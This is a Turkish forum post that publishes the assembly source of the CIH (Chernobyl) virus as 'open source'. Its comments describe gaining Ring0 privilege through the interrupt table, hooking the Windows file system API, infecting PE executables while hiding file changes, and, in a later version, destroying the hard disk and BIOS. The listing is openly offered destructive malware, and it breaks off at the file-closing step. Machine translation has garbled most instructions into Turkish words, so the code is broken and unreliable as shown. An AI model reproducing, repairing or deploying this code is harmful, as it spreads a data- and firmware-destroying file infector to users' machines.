Hoşgeldin Misafir

CIH Virusu Açık Kaynaklı

35izmir

35izmir

🆁🅴🅸🆂🅲🅸🆂🅴🆅🅴🆁
11 Ocak 2018
2,701 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Kod:
; ************************************************** **************************
; * Virüs Programı Bilgileri *
; ************************************************** **************************
; * *
; *
; * Turbo Assembler Sürüm 4.0: tasm / m cih *
; * Turbo Link Sürüm 3.01: tlink / 3 / t cih, cih.exe *
; * *
; * ================================================= ========================= *
; * Değişiklik Tarihi *
; * ================================================= ========================= *
; * v1.0 1. Virüs Programını Oluşturun. *
; * 2. Virüs, Ring0 Privilege'ı almak için IDT'yi değiştirir. *
; * 04/26/1998 3. Virüs Kodu Sisteme Yeniden Yüklenmiyor. *
; * 4. IFSMgr_InstallFileSystemApiHook to Hook Dosya Sistemini arayın. *
; * 5. IFSMgr_InstallFileSystemApiHook'un Giriş Noktasını değiştirir. *
; * 6. Sistem Mevcut PE Dosyasını Açtığında, Dosya * olacaktır
; * Etkilendi ve Dosya Yeniden Etkilenmedi. *
; * 7. Ayrıca Dosya Salt Okunursa bile Etkilenir. *
; * 8. Dosya Etkilendiğinde Değişiklik Tarihi ve Saati *
; Dosya * da değiştirilmez. *
; * 9. Virüsüm IFSMgr_Ring0_FileIO’yu Kullandığında, Aramaz *
; * Önceki FileSystemApiHook, İşlevi Arayacaktır *
; * IFS Yöneticisi normalde uygulamaya çağırır *
; * bu Özel G / Ç İsteği. *
; * 10. Virüs Boyutu yalnızca 656 Bayttır. *
; * ================================================= ========================= *
; * v1.1 1. Özellikle Enfekte Edilen Dosya Artmayacak *
; * bu Boyut ... ^ __ ^ *
; * 05/15/1998 2. Yapılandırılmış İstisna İşini Kancalama ve Değiştirme. *
; * İstisna Hatası Oluştuğunda, İşletim Sistemimiz *
; * Windows NT. Böylece Sevimli Virüsüm Çalışmaya Devam Etmeyecek, *
; * Orijinal Uygulama Çalıştırmak için Jmup olacaktır. *
; * 3. Daha İyi Algoritma Kullan, Virüs Kod Boyutunu Küçült. *
; * 4. Virüs "Temel" Boyut yalnızca 796 Bayttır. *
; * ================================================= ========================= *
; * v1.2 1. Tüm HardDisk'i ve BIOS'u öldürün ... Süper ... Katil ... *
; * 2. v1.1 Bug'ını değiştirin *
; * 05/21/1998 3. Virüs "Temel" Boyut 1003 Bayttır. *
; * ================================================= ========================= *
; * v1.3 1. WinZip Self-Extractor'ün Hata Oluştuğu Hatayı değiştirin. *
; * Yani WinZip Self-Extractor'u Açarken ==> Etkilemeyin. *
; * 05/24/1998 2. Virüs "Temel" Boyut 1010 Bayttır. *
; * ================================================= ========================= *
; * v1.4 1. Tam Hata Düzeltme: WinZip Self-Extractor Hata Oluyor. *
; * 2. Öldürme Bilgisayarlarının Tarihini Değiştirin. *
; * 05/31/1998 3. Virüs Sürümünün Değiştirilmesi Telif Hakkı. *
; * 4. Virüs "Temel" Boyut 1019 Bayttır. *
; ************************************************** **************************

.586P

; ************************************************** **************************
; * Orijinal PE Yürütülebilir Dosya (Bu Bölümü Değiştirme) *
; ************************************************** **************************

OrijinalAppEXE SEGMENT

FileHeader:
db 04dh , 05ah , 090h , 000h , 003h , 000h , 000h , 000h        
db 004h , 000h , 000h , 000h , 0ffh , 0ffh , 000h , 000h        
db 0b8h , 000h , 000h , 000h , 000h , 000h , 000h , 000h        
db 040h , 000h , 000h , 000h , 000h , 000h , 000h , 000h        
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h        
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h        
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h        
db 000h , 000h , 000h , 000h , 080h , 000h , 000h , 000h        
db 00eh , 01fh , 0bah , 00eh , 000h , 0b4h , 009h , 0cdh        
db 021h , 0b8h , 001h , 04ch , 0cdh , 021h , 054 saat , 068 saat        
db 069h , 073h , 020h , 070h , 072h , 06fh , 067h , 072h        
db 061h , 06dh , 020h , 063h , 061h , 06eh , 06eh , 06fh        
db 074h , 020h , 062h , 065h , 020h , 072h , 075h , 06eh        
db 020h , 069h , 06eh , 020h , 044h , 04fh , 053h , 020 saat        
db 06dh , 06fh , 064h , 065h , 02eh , 00dh , 00dh , 00ah        
db 024h , 000h , 000h , 000h , 000h , 000h , 000h , 000h        
db 050h , 045h , 000h , 000h , 04ch , 001h , 001h , 000 saat        
db 0f1h , 068h , 020h , 035h , 000h , 000h , 000h , 000h        
db 000h , 000h , 000h , 000h , 0e0h , 000h , 00fh , 001h        
db 00bh , 001h , 005h , 000h , 000h , 010h , 000h , 000h        
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h        
db 010h , 010h , 000h , 000h , 000h , 010h , 000h , 000h        
db 000h , 020h , 000h , 000h , 000h , 000h , 040h , 000h        
db 000h , 010h , 000h , 000h , 000h , 002h , 000h , 000h        
db 004h , 000h , 000h , 000h , 000h , 000h , 000h , 000h        
db 004h , 000h , 000h , 000h , 000h , 000h , 000h , 000h        
db 000h , 020h , 000h , 000h , 000h , 002h , 000h , 000h        
db 000h , 000h , 000h , 000h , 002h , 000h , 000h , 000h        
db 000h , 000h , 010h , 000h , 000h , 010h , 000h , 000h        
db 000h , 000h , 010h , 000h , 000h , 010h , 000h , 000h        
db 000h , 000h , 000h , 000h , 010h , 000h , 000h , 000h        
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h        
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h        
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h        
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h        
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h        
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h        
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h        
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h        
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h        
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h        
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h        
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h        
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h        
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h        
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h        
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h        
db 02eh , 074h , 065h , 078h , 074h , 000h , 000h , 000h        
db 000h , 010h , 000h , 000h , 000h , 010h , 000h , 000h        
db 000h , 010h , 000h , 000h , 000h , 002h , 000h , 000h        
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h        
db 000h , 000h , 000h , 000h , 020h , 000h , 000h , 060h        
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h        
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h        
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h        
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h        
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h        
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h        
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h        
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h        
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h        
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h        
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h        
db 000h , 000h , 000h , 000h , 000h , 000h , 000h , 000h        
db 0c3h , 000h , 000h , 000h , 000h , 000h , 000h , 000h        
dd 00000000h , VirusSize 

OriginalAppEXE ENDS

; ************************************************** **************************
; * Benim Virüs Oyunum *
; ************************************************** **************************

; ************************************************** *******
; * Sabit Tanımla *
; ************************************************** *******

DOĞRU = 1
YANLIŞ = 0

DEBUG = TRUE

MajorVirusVersion = 1
MinorVirusVersion = 4

VirusVersion = MajorVirusVersion * 10h + MinorVirusVersion


Eğer DEBUG

FirstKillHardDiskNumber = 81h
HookExceptionNumber = 05h

BAŞKA

FirstKillHardDiskNumber = 80 saat
HookExceptionNumber = 03 saat

ENDIF


FileNameBufferSize = 7fh

; ************************************************** *******
; ************************************************** *******

VirusGame SEGMENT

AİTTİR CS VirusGame: , DS : VirusGame , SS : VirusGame  
AİTTİR ES VirusGame: , FS : VirusGame , GS : VirusGame  

; ************************************************** *******
; * Ring3 Virus Oyunu Başlangıç ​​Programı *
; ************************************************** *******

MyVirusStart:
ebp itmek 

; *************************************
; * Yapısal İstisnayı Değiştirelim *
; * Teslim Etme İstisna Hatası
; * Oluşum, özellikle NT'de. *
; *************************************

lea eax , [ esp - 04 saat * 2 ]  

xor, ebx , ebx  
xchg eax , fs : [ ebx ]  

call @ 0
@ 0 :
pop ebx 

lea ecx , StopToRunVirusCode - @ 0 [ ebx ] 
ecx itin 

eax itmek 

; *************************************
; * Değiştirelim *
; * IDT (Kesme Tanımlayıcı Tablosu) *
; * Ring0 Ayrıcalığını Almak için ... *
; *************************************

eax itin ; 
sidt [ esp - 02h ] ; IDT Baz Adresi Al 
pop ebx ; 

ebx ekleyin , HookExceptionNumber * 08h + 04h ; ZF = 0 

cli

mov ebp , [ ebx ] ; İstisna Bankası Alın  
mov bp , [ ebx - 04h ] ; Giriş noktası  

lea esi , MyExceptionHook - @ 1 [ ecx ] 

esi itmek 

mov [ ebx - 04h ], si ;  
shr esi , 16 ; İstisnayı Değiştir  
mov [ ebx + 02h ], si ; Giriş Noktası Adresi  

pop esi 

; *************************************
; * Ring0 Almak için İstisna Oluşturma *
; *************************************

int HookExceptionNumber ; GenerateException
ReturnAddressOfEndException = $

; *************************************
; * Tüm Virüs Kodlarını Birleştir *
; *************************************

esi itmek 
mov esi , eax  

LoopOfMergeAllVirusCodeSection:

mov ecx , [ eax - 04 saat ]  

rep movsb 

alt eax , 08h  

mov esi , [ eax ]  

veya esi , esi  
jz QuitLoopOfMergeAllVirusCodeSection ; ZF = 1

jmp LoopOfMergeAllVirusCodeSection

QuitLoopOfMergeAllVirusCodeSection:

pop esi 

; *************************************
; * Yine İstisna Yarat *
; *************************************

int HookExceptionNumber ; Yine GenerateException

; *************************************
; * Hadi geri yükleyelim *
; * Yapılandırılmış İstisna İşleme *
; *************************************

ReadyRestoreSE:
şti

xor, ebx , ebx  

jmp RestoreSE

; *************************************
; * İstisna Hatası Oluştuğunda, *
; * İşletim Sistemimiz NT'de olmalı. *
; * Yani Sevimli Virüsüm *
; * Koşmaya devam et, Jmups *
; * Çalıştırılacak Orijinal Uygulama. *
; *************************************

StopToRunVirusCode:
@ 1 = StopToRunVirusCode

xor, ebx , ebx  
mov eax , fs : [ ebx ]  
mov esp , [ eax ]  

RestoreSE:
pop dword ptr fs : [ ebx ]
pop eax 

; *************************************
; * Orijinal Uygulamayı Çalıştırmaya Dön *
; *************************************

pop ebp 

00401000h itin ; Orijinali İt 
OriginalAddressOfEntryPoint = $ - 4 ; Yığına Uygulama Giriş Noktası

ret ; Orijinal Uygulama Giriş Noktasına Dön

; ************************************************** *******
; * Ring0 Virüs Oyunu İlk Programı *
; ************************************************** *******

MyExceptionHook:
@ 2 = MyExceptionHook

jz InstallMyFileSystemApiHook

; *************************************
; * Virüsüm Sistemde Var mı? *
; *************************************

mov ecx , dr0  
jecxz AllocateSystemMemoryPage

eklemek DWORD ptr [ ESP ] ReadyRestoreSE - ReturnAddressOfEndException

; *************************************
; * Ring3 İlk Programına Dön *
; *************************************

ExitRing0Init:
mov [ ebx - 04h ], bp ;  
shr ebp , 16 ; İstisnaları Geri Yükle  
mov [ ebx + 02h ], bp ;  

iretd

; *************************************
; * Kullanılacak SystemMemory Sayfasını Tahsis Et *
; *************************************

AllocateSystemMemoryPage:

mov dr0 , ebx ; Sistemde Virüsümün İşaretini Belirle  

itme 00000000fh ; 
ecx itin ; 
0ffffffffh itin ; 
ecx itin ; 
ecx itin ; 
ecx itin ; 
itme 000000001h ; 
itme 000000002h ; 
int 20h ; VMMCALL _PageAllocate 
_PageAllocate = $ ;
dd 00010053h ; EAX, ECX, EDX ve bayrakları kullanın 
esp ekle , 08h * 04h  

xchg edi , eax ; EDI = SystemMemory Başlangıç ​​Adresi  

lea eax , MyVirusStart - @ 2 [ esi ] 

pişman ; Ring3 İlk Programına Geri Dön

; *************************************
; * My File System Api Hook'u yükleyin *
; *************************************

InstallMyFileSystemApiHook:

lea eax , FileSystemApiHook - @ 6 [ edi ] 

eax itin ; 
int 20h ; VXDCALL IFSMgr_InstallFileSystemApiHook 
IFSMgr_InstallFileSystemApiHook = $ ;
dd 00400067h ; EAX, ECX, EDX ve bayrakları kullanın 

mov dr0 , eax ; OldFileSystemApiHook Adresini Kaydet  

pop eax ; EAX = FileSystemApiHook Adresi 

; Kaydet Eski IFSMgr_InstallFileSystemApiHook Giriş Noktası
mov ecx , IFSMgr_InstallFileSystemApiHook - @ 2 [ esi ] 
hareketli edx , [ ecx ]  
mov EskiInstallFileSystemApiHook - @ 3 [ eax ], edx 

; IFSMgr_InstallFileSystemApiHook Giriş Noktasını Değiştir
lea eax , InstallFileSystemApiHook - @ 3 [ eax ] 
mov [ ecx ], eax  

cli

jmp ÇıkışRing0Init

; ************************************************** *******
; * Birleştirme Virüs Kodu Bölümünün Kod Boyutu *
; ************************************************** *******

CodeSizeOfMergeVirusCodeSection = ofset $

; ************************************************** *******
; * IFSMgr_InstallFileSystemApiHook *
; ************************************************** *******

InstallFileSystemApiHook:
ebx itin 

çağrı @ 4 ;
@ 4 : ;
pop ebx ; mov ebx, ofset FileSystemApiHook 
ebx ekle , FileSystemApiHook - @ 4 ; 

ebx itin 
int 20h ; VXDCALL IFSMgr_RemoveFileSystemApiHook 
IFSMgr_RemoveFileSystemApiHook = $
dd 00400068h ; EAX, ECX, EDX ve bayrakları kullanın 
pop eax 

; Orijinal IFSMgr_InstallFileSystemApiHook'u çağırın
; İstemci FileSystemApiHook Nasıl Bağlanır
dword ptr'ye bas [ esp + 8 ]
çağrı oldInstallFileSystemApiHook - @ 3 [ ebx ]
pop ecx 

eax itmek 

; Orijinal IFSMgr_InstallFileSystemApiHook'u çağırın
; My FileSystemApiHook Nasıl Bağlanır
ebx itin 
çağrı oldInstallFileSystemApiHook - @ 3 [ ebx ]
pop ecx 

mov dr0 , eax ; OldFileSystemApiHook Adresini Ayarla  

pop eax 

pop ebx 

çürümek

; ************************************************** *******
; * Statik Veri *
; ************************************************** *******

OldInstallFileSystemApiHook dd?

; ************************************************** *******
; * IFSMgr_FileSystemHook *
; ************************************************** *******

; *************************************
; * IFSMgr_FileSystemHook Giriş Noktası *
; *************************************

FileSystemApiHook:
@ 3 = FileSystemApiHook

pushad

çağrı @ 5 ;
@ 5 : ;
pop esi ; mov esi, VirusGameDataStartAdresi ofset 
esi ekle , VirusGameDataStartAddress - @ 5 

; *************************************
; * OnBusy! *
; *************************************

Test bayt ptr (OnBusy - @ 6 ) [ esi ], 01 h ; eğer (OnBusy) 
jnz pIFSFunc ; pIFSFunc'a git

; *************************************
; * OpenFile! *
; *************************************

; eğer (NotOpenFile)
; kaçınmak
lea ebx , [ esp + 20h + 04h + 04h ]  
cmp dword ptr [ ebx ], 00000024h 
jne prevhook

; *************************************
; * OnBusy'yi etkinleştir *
; *************************************

Inc bayt ptr (OnBusy - @ 6 ) [ esi ] ; OnBusy'yi Etkinleştir

; *************************************
; * FilePath'in DriveNumber'ını edinin *
; * ardından DriveName'i * olarak ayarlayın
; * DosyaAdıBuffer. *
; *************************************
; * Örn. DriveNumber, 03 saat ise, *
; * DriveName 'C:' şeklindedir. *
; *************************************

; mov esi, ofset FileNameBuffer
esi ekle , FileNameBuffer - @ 6 

esi itmek 

mov al , [ ebx + 04h ]  
cmp al , 0ffh  
je CallUniToBCSPath

al , 40h ekle  
mov ah , ':'  

mov [ esi ], eax  

inc esi 
inc esi 

; *************************************
; * UniToBCSPath *
; *************************************
; * Bu Servis Dönüştürüyor *
; * Kanonikleşmiş bir Unicode Pathname *
; * için * Normal bir Yol Adına *
; * Belirtilen BCS Karakter Kümesi. *
; *************************************

CallUniToBCSPath:
00000000h itin 
FileNameBufferSize öğesini itin
mov ebx , [ ebx + 10h ]  
mov eax , [ ebx + 0ch ]  
ekle eax , 04  
eax itmek 
esi itmek 
int 20h ; VXDCall UniToBCSPath 
UniToBCSPath = $
dd 00400041h 
esp ekle , 04h * 04h  

; *************************************
; * DosyaAdı '.EXE'! *
; *************************************

; cmp [esi + eax-04h], '.EXE'
cmp [ esi + eax - 04h ], 'EXE'  
pop esi 
JnE DisableOnBusy

Eğer DEBUG

; *************************************
; * Sadece hata ayıklama için *
; *************************************

; cmp [esi + eax-06h], 'FUCK'
cmp [ ESI + eax'ait - 06 h ] 'KCUF'  
JnE DisableOnBusy

ENDIF

; *************************************
; * Açık Dosya Var mı? *
; *************************************

; if (NotOpenExistingFile)
; DisableOnBusy
cmp kelimesi ptr [ ebx + 18h ], 01h 
JnE DisableOnBusy

; *************************************
; * Dosyanın Özelliklerini Alın *
; *************************************

hareketli balta , 4300h  
int 20h ; VXDCall IFSMgr_Ring0_FileIO 
IFSMgr_Ring0_FileIO = $
gg 00400032h 

jc DisableOnBusy

ecx itin 

; *************************************
; * IFSMgr_Ring0_FileIO Adresini Alın *
; *************************************

mov edi , dword ptr (IFSMgr_Ring0_FileIO - @ 7 ) [ esi ] 
mov edi , [ edi ]  

; *************************************
; * Salt Okunur Dosya mı? *
; *************************************

Test cl , 01 saat  
jz OpenFile

; *************************************
; * Yazmak İçin Salt Okunur Dosyasını Değiştirme *
; *************************************

hareketli balta , 4301h  
xor ecx , ecx  
çağrı editörlüğü ; VXDCall IFSMgr_Ring0_FileIO 

; *************************************
; * Açık dosya *
; *************************************

Açık dosya:
xor eax , eax  
mov ah , 0d5h  
xor ecx , ecx  
xor edx , edx  
inc edx 
mov ebx , edx  
inc ebx 
çağrı editörlüğü ; VXDCall IFSMgr_Ring0_FileIO 

xchg ebx , eax ; mov ebx, FileHandle  

; *************************************
; * Geri Yüklemeniz Gerekiyor *
; * Dosyanın Özellikleri!? *
; *************************************

pop ecx 

pushf

Test cl , 01 saat  
jz IsOpenFileOK

; *************************************
; * Dosyanın Özniteliklerini Geri Yükle *
; *************************************

hareketli balta , 4301h  
çağrı editörlüğü ; VXDCall IFSMgr_Ring0_FileIO 

; *************************************
; * Açık Dosya Tamam mı? *
; *************************************

IsOpenFileOK:
popf

jc DisableOnBusy

; *************************************
; * Açık Dosya Zaten Başarılı. ^ __ ^ *
; *************************************

esi itin ; FileNameBuffer Adresini Yığın'a İtin 

pushf ; Şimdi CF = 0, Bayrak Yığına Yığın

esi ekleyin , DataBuffer - @ 7 ; mov esi, DataBuffer'ı dengeleyin 

; ***************************
; * OffsetToNewHeader'ı alın *
; ***************************

xor eax , eax  
mov ah , 0d6h  

; Minimal VirusCode Uzunluğunu Yapmak İçin,
; EAX'i EBP'ye kaydedin.
mov ebp , eax  

00000004h itin 
pop ecx 
0000003ch itin 
pop edx 
çağrı editörlüğü ; VXDCall IFSMgr_Ring0_FileIO 

mov edx , [ esi ]  

; ***************************
; * 'PE \ 0' İmzasını Alın *
; * ImageFileHeader’ın * ve *
; * Enfekte Mark. *
; ***************************

Dec Edx 

mov eax , ebp  
çağrı editörlüğü ; VXDCall IFSMgr_Ring0_FileIO 

; ***************************
; * PE! *
; ***************************
; * Dosya mı *
; * Zaten Etkilendi! *
; ***************************
; * WinZip Self-Extractor *
; * Etkilenmedi *
; * Mark Çünkü Virüsüm *
; * bulaşmaz. *
; ***************************

; cmp [esi], '\ 0PE \ 0'
cmp dword ptr [ esi ], 00455000h 
jne CloseFile

; *************************************
; * Dosya ^ o ^ * dır
; * Gerçekten de (Taşınabilir Yürütülebilir) PE. *
; *************************************
; * Dosya da Etkilenmedi. *
; *************************************

; *************************************
; * Dosyayı Etkilemeye Başla *
; *************************************
; * Kayıtlar Şimdi Durumu Kullan: *
; * *
; * EAX = 04 saat *
; * EBX = Dosya Kolu *
; * ECX = 04 saat *
; * EDX = 'PE \ 0 \ 0' * imzası
; * ImageFileHeader İşaretçisi *
; * Eski Bayt. *
; * ESI = DataBuffer Adresi ==> @ 8 *
; * EDI = IFSMgr_Ring0_FileIO Adresi *
; * EBP = D600h ==> Dosyadaki Verileri Oku *
; *************************************
; * Yığın Dökümü: *
; * *
; * ESP => --------------------------- *
; * | EFLAG (CF = 0) | *
; * ------------------------- *
; * | DosyaAdıBufferPointer | *
; * ------------------------- *
; * | EDI | *
; * ------------------------- *
; * | ESI | *
; * ------------------------- *
; * | EBP | *
; * ------------------------- *
; * | ESP | *
; * ------------------------- *
; * | EBX | *
; * ------------------------- *
; * | EDX | *
; * ------------------------- *
; * | ECX | *
; * ------------------------- *
; * | EAX | *
; * ------------------------- *
; * | İade Adresi | *
; * ------------------------- *
; *************************************

ebx itin ; Dosya Sapını Kaydet 

00h itin ; VirusCodeSectionTableEndMark öğesini ayarlayın 

; ***************************
; * Hadi ayarlayalım *
; * Virus 'Infected Mark *
; ***************************

01h itin ; Boyut 
edx itin ; Dosya İşaretçisi 
edi bas ; Tamponun Adresi 

; ***************************
; * ESP Kayıtlarını Kaydet *
; ***************************

mov dr1 , esp  

; ***************************
; * Hadi ayarlayalım *
; * NewAddressOfEntryPoint *
; * (Sadece İlk Set Büyüklüğü) *
; ***************************

eax itin ; Boyut 

; ***************************
; * Okuyalım *
; * Dosyadaki Görüntü Başlığı *
; ***************************

mov eax , ebp  
mov cl , SizeOfImageHeaderToRead 
eklemek edx , saat 07 ; EDX'i NumberOfSections'a Taşı  
çağrı editörlüğü ; VXDCall IFSMgr_Ring0_FileIO 

; ***************************
; * Hadi ayarlayalım *
; * NewAddressOfEntryPoint *
; * (Dosya İşaretçisini Ayarla, *
; * Tamponun Adresi) *
; ***************************

lea eax , (AddressOfEntryPoint - @ 8 ) [ edx ] 
eax itin ; Dosya İşaretçisi 

lea eax , (YeniAdresiOfEntryPoint - @ 8 ) [ esi ] 
eax itin ; Tamponun Adresi 

; ***************************
; * EDX'i Başlat'a taşıyın *
; * Dosyadaki SectionTable *
; ***************************

movzx eax , ptr kelimesi (SizeOfOptionalHeader - @ 8 ) [ esi ] 
lea edx , [ eax + edx + 12h ]  

; ***************************
; * Hadi Alalım *
; * Toplam Bölüm Boyutu *
; ***************************

mov al , SizeOfScetionTable 

; NumberOfSections <= 0ffh olduğunu varsayıyorum
mov cl , (NumberOfSections - @ 8 ) [ esi ] 

mul cl 

; ***************************
; * Bölüm Tablosu ayarlayalım *
; ***************************

; ESI'yi SectionTable'ın Başına Taşı
lea esi , (StartOfSectionTable - @ 8 ) [ esi ] 

eax itin ; Boyut 
edx itin ; Dosya İşaretçisi 
esi itin ; Tamponun Adresi 

; ***************************
; * Birleştirme Kod Boyutu *
; * Virüs Kod Bölümü ve *
; * Toplam Virüs Boyutu *
; * Kod Bölüm Tablosu Zorunlu *
; * Küçük veya Eşit ol *
; * Kullanılmayan Alan Büyüklüğü *
; * Aşağıdaki Bölüm Tablosu *
; ***************************

inc ecx 
ecx itin ; Sayı Seçeneklerini Kaydet + 1 

shl ecx , 03 saat  
ecx itin ; TotalSizeOfVirusCodeSectionTable öğesini kaydedin 

ecx ekle , eax  
ecx , edx ekle  

alt ecx , (SizeOfHeaders - @ 9 ) [ esi ] 
ekx değil 
inc ecx 

; Virüsümü Kaydet İlk Bölüm Kodu
; İzleyen Bölüm Tablosunun Büyüklüğü ...
; (Virüs Kodu Bölüm Tablosunun Boyutunu Dahil Etmeyin)
ecx itin 

xchg ecx , eax ; ECX = Bölüm Tablosunun Büyüklüğü  

; Giriş Noktasının Orijinal Adresini Kaydet
mov eax , (AddressOfEntryPoint - @ 9 ) [ esi ] 
eax ekle , (ImageBase - @ 9 ) [ esi ] 
mov (OriginalAddressOfEntryPoint - @ 9 ) [ esi ], eax 

cmp word ptr [ esp ], küçük CodeSizeOfMergeVirusCodeSection
jl OnlySetInfectedMark

; ***************************
; * Tüm Bölüm Tablolarını Oku *
; ***************************

mov eax , ebp  
çağrı editörlüğü ; VXDCall IFSMgr_Ring0_FileIO 

; ***************************
; * Tam Hata Değiştirme: *
; * WinZip Self-Extractor *
; * Hata Oluyor ... *
; ***************************
; * Kullanıcı Açıldığında *
; * WinZip Self-Extractor, *
; * Virüs bulaşmaz. *
; ***************************
; * Önce, Virüs * alır
; * PointerToRawData * içinde
; * İkinci Bölüm Tablosu, *
; * Bölüm Verilerini okur, *
; * ve * dizesini sınar
; * 'WinZip (R)' ...... *
; ***************************

xchg eax , ebp  

00000004h itin 
pop ecx 

edx itin 
mov edx , (SizeOfScetionTable + PointerToRawData - @ 9 ) [ esi ] 
edx , 12h ekle  

çağrı editörlüğü ; VXDCall IFSMgr_Ring0_FileIO 

; cmp [esi], 'nZip'
cmp dword ptr [ esi ], 'piZn' 
je NotSetInfectedMark

pop edx 

; ***************************
; * Toplam Virüsü Ayarlayalım *
; * Kod Bölüm Tablosu *
; ***************************

; EBX = Virüsüm İlk Bölüm Kodu
; Aşağıdaki Bölüm Tablosunun Boyutu
pop ebx 
pop edi ; EDI = TotalSizeOfVirusCodeSectionTable 
pop ecx ; ECX = NumberOfSections + 1 

edi bas ; Boyut 

edx ekle , ebp  
edx itin ; Dosya İşaretçisi 

ebp ekle , esi  
ebp itin ; Tamponun Adresi 

; ***************************
; * İlk Virüsü Ayarla *
; * Kod Bölüm Boyutu *
; * VirusCodeSectionTable *
; ***************************

lea eax , [ ebp + edi - 04h ]  
mov [ eax ], ebx  

; ***************************
; * Virüsümü ayarlayalım *
; * Birinci Bölüm Kodu *
; ***************************

ebx itin ; Boyut 

edx ekle , edi  
edx itin ; Dosya İşaretçisi 

lea edi , (MyVirusStart - @ 9 ) [ esi ] 
edi bas ; Tamponun Adresi 

; ***************************
; * Değiştirelim *
; * AddressOfEntryPoint için *
; * Virüs Giriş Noktam *
; ***************************

mov (NewAddressOfEntryPoint - @ 9 ) [ esi ], edx 

; ***************************
; * İlk Verileri Ayarla *
; ***************************

lea edx , [ esi - SizeOfScetionTable ]  
mov ebp , VirusSize'ı dengeleyin 

jmp StartToWriteCodeToSections

; ***************************
; * Bölümlere Kod Yaz *
; ***************************

LoopOfWriteCodeToSections:

edx ekle , SizeOfScetionTable 

mov ebx , (SizeOfRawData - @ 9 ) [ edx ] 
alt ebx , (VirtualSize - @ 9 ) [ edx ] 
jbe EndOfWriteCodeToSections

ebx itin ; Boyut 

alt eax , 08h  
mov [ eax ], ebx  

mov ebx , (PointerToRawData - @ 9 ) [ edx ] 
ebx ekle , (VirtualSize - @ 9 ) [ edx ] 
ebx itin ; Dosya İşaretçisi 

edi bas ; Tamponun Adresi 

mov ebx , (VirtualSize - @ 9 ) [ edx ] 
ebx ekle , (VirtualAddress - @ 9 ) [ edx ] 
ebx ekle , (ImageBase - @ 9 ) [ esi ] 
mov [ eax + 4 ], ebx  

mov ebx , [ eax ]  
ekle (VirtualSize - @ 9 ) [ edx ], ebx 

; Bölüm kullanıma hazır veri içeriyor ==> 00000040h
; Bölüm okunabilir. ==> 40000000h
ya da (Özellikleri - @ 9 ) [ EDX ] 40000040h 

StartToWriteCodeToSections:

alt ebp , ebx  
jbe SetVirusCodeSectionTableEndMark

edi ekle , ebx ; Tampon Adresini Taşı  

EndOfWriteCodeToSections:

loop LoopOfWriteCodeToSections

; ***************************
; * Yalnızca Set Etkilenen Markayı *
; ***************************

OnlySetInfectedMark:
mov esp , dr1  

jmp WriteVirusCodeToFile

; ***************************
; * Etkilenen İşaret Ayarlanmadı *
; ***************************

NotSetInfectedMark:
esp ekle , 3ch  

jmp CloseFile

; ***************************
; * Virüs Kodunu Ayarla *
; * Bölüm Tablosu Bitiş İşareti *
; ***************************

SetVirusCodeSectionTableEndMark:

; Virüs Bölümü Kodunun Boyutunu Doğru Değere Ayarlayın
[ eax ] ekle , ebp  
[ esp + 08h ] ekle , ebp  

; Bitiş İşaretini Ayarla
xor, ebx , ebx  
mov [ eax - 04 saat ], ebx  

; ***************************
; * VirusGame Aradığında *
; * VxDCall, VMM Değişiklikleri *
; * 'int 20h' ve *
; * 'Servis Tanımlayıcısı' *
; * '[XXXXXXXX]' i çağırın. *
; ***************************
; * Virüsümü Yazmadan Önce *
; * Dosyaya, Geri Yüklemeliyim *
; * önce onları. ^ __ ^ *
; ***************************

lea eax , (LastVxDCallAdresi - 2 - @ 9 ) [ esi ] 

mov cl , VxDCallTableSize 

LoopOfRestoreVxDCallID:
mov kelimesi ptr [ eax ], 20cdh 

MOV EDX , (VxDCallIDTable + ( ecx - 1 ) * 04h - @ 9 ) [ esi ] 
mov [ eax + 2 ], edx  

movzx edx , bayt ptr (VxDCallAddressTable + ecx - 1 - @ 9 ) [ esi ] 
alt eax , edx  

loop LoopOfRestoreVxDCallID

; ***************************
; * Hadi yaz *
; * Dosyaya Virüs Kodu *
; ***************************

WriteVirusCodeToFile:
mov eax , dr1  
mov ebx , [ eax + 10h ]  
mov edi , [ eax ]  

LoopOfWriteVirusCodeToFile:

pop ecx 
jecxz SetFileModificationMark

mov esi , ecx  
mov eax , 0d601h  
pop edx 
pop ecx 

çağrı editörlüğü ; VXDCall IFSMgr_Ring0_FileIO 

jmp LoopOfWriteVirusCodeToFile

; ***************************
; * CF = 1 ==> * ayarlayalım
; * Dosyayı Geri Yükleme Gerekiyor *
; * Değişiklik Zamanı *
; ***************************

SetFileModificationMark:
pop ebx 
pop eax 

stc ; CF'yi etkinleştir (Bayrak Taşı)
pushf

; *************************************
; * Dosyayı kapat *
; *************************************

Dosyayı kapat:
xor eax , eax  
mov ah , 0d7h  
